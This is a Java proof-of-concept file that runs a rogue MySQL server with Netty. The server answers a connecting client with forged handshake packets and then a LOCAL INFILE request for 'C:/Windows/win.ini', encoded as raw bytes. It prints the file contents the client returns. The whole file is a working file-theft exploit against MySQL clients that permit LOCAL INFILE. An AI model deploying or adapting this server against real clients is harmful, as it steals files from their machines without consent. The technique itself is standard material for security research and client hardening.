
import io.netty.bootstrap.ServerBootstrap;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioServerSocketChannel;
import io.netty.util.CharsetUtil;

import java.io.IOException;
import java.util.concurrent.atomic.AtomicInteger;

public class POC {
    public static void main(String[] args) throws IOException, InterruptedException {
        new MySQLPocServer("127.0.0.1", 3306).start();
    }

    public static class MySQLPocServer {

        private final String host;
        private final int port;

        public MySQLPocServer(String host, int port) {
            this.host = host;
            this.port = port;
        }

        public void start() throws InterruptedException {
            EventLoopGroup bossGroup = new NioEventLoopGroup();
            EventLoopGroup workerGroup = new NioEventLoopGroup();

            try {
                ServerBootstrap b = new ServerBootstrap();
                b.group(bossGroup, workerGroup)
                        .channel(NioServerSocketChannel.class)
                        .childHandler(new ChannelInitializer<SocketChannel>() {
                            @Override
                            protected void initChannel(SocketChannel socketChannel) throws Exception {
                                socketChannel.pipeline().addLast(new PocHandler());
                            }
                        })
                        .option(ChannelOption.SO_BACKLOG, 128)
                        .childOption(ChannelOption.SO_KEEPALIVE, true);

                ChannelFuture f = b.bind(port).sync();

                System.out.printf("MySQL Server start success on：%s:%d%n", host, port);
                f.channel().closeFuture().sync();
            } finally {
                workerGroup.shutdownGracefully();
                bossGroup.shutdownGracefully();
            }
        }
    }

    public static class PocHandler extends ChannelInboundHandlerAdapter {

        private final byte[] greeting = new byte[]{0x5b, 0x00, 0x00, 0x00, 0x0a, 0x35, 0x2e, 0x37, 0x2e, 0x33, 0x33, 0x2d, 0x30, 0x75, 0x62, 0x75,
                0x6e, 0x74, 0x75, 0x30, 0x2e, 0x31, 0x38, 0x2e, 0x30, 0x34, 0x2e, 0x31, 0x00, 0x0a, 0x00, 0x00,
                0x00, 0x25, 0x42, 0x55, 0x55, 0x05, 0x6e, 0x51, 0x2d, 0x00, (byte) 0xff, (byte) 0xf7, (byte) 0xe0, 0x02, 0x00, (byte) 0xff,
                (byte) 0x81, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x6b, 0x55, 0x0c,
                0x18, 0x0c, 0x6f, 0x6f, 0x04, 0x58, 0x26, 0x28, 0x00, 0x6d, 0x79, 0x73, 0x71, 0x6c, 0x5f, 0x6e,
                0x61, 0x74, 0x69, 0x76, 0x65, 0x5f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x00};
        private final byte[] login = new byte[]{0x07, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00};
        private final byte[] ok = new byte[]{0x07, 0x00, 0x00, 0x04, (byte) 0xfe, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00};
        private final byte[] trans = new byte[]{0x13, 0x00, 0x00, 0x01, (byte) 0xfb, 0x43, 0x3a, 0x2f, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x2f, 0x77, 0x69, 0x6e, 0x2e, 0x69, 0x6e, 0x69};
        //        private final byte[][] packets = new byte[][]{greeting, login, ok,ok,ok,ok,ok, trans};
        private final byte[][] packets = new byte[][]{greeting, login, trans};


        private final AtomicInteger count = new AtomicInteger(0);

        @Override
        public void channelRead(ChannelHandlerContext ctx, Object msg) {
            if (count.get() <= 2) {
                ctx.writeAndFlush(Unpooled.copiedBuffer(packets[count.get()]));
            } else {
                ByteBuf byteBuf = (ByteBuf) msg;
                if (byteBuf.readableBytes() >= 2) {
                    int len = byteBuf.readShortLE();
                    System.out.println("packet len:" + len);
                    if (byteBuf.readableBytes() >= len) {
                        ByteBuf buf = byteBuf.readBytes(len);
                        System.out.printf("============== receive data ==============%n%s%n============== receive data ==============%n", buf.toString(CharsetUtil.UTF_8));
                    }
                }
            }
            count.incrementAndGet();
        }

        @Override
        public void channelActive(ChannelHandlerContext ctx) throws Exception {
            System.out.printf("client:%s connect success%n", ctx.toString());
            ByteBuf byteBuf = Unpooled.copiedBuffer(packets[count.get()]);
            ctx.writeAndFlush(byteBuf);
            count.incrementAndGet();
        }

        @Override
        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
            System.out.println("socket close:" + ctx.toString());
            ctx.close();
        }
    }
}
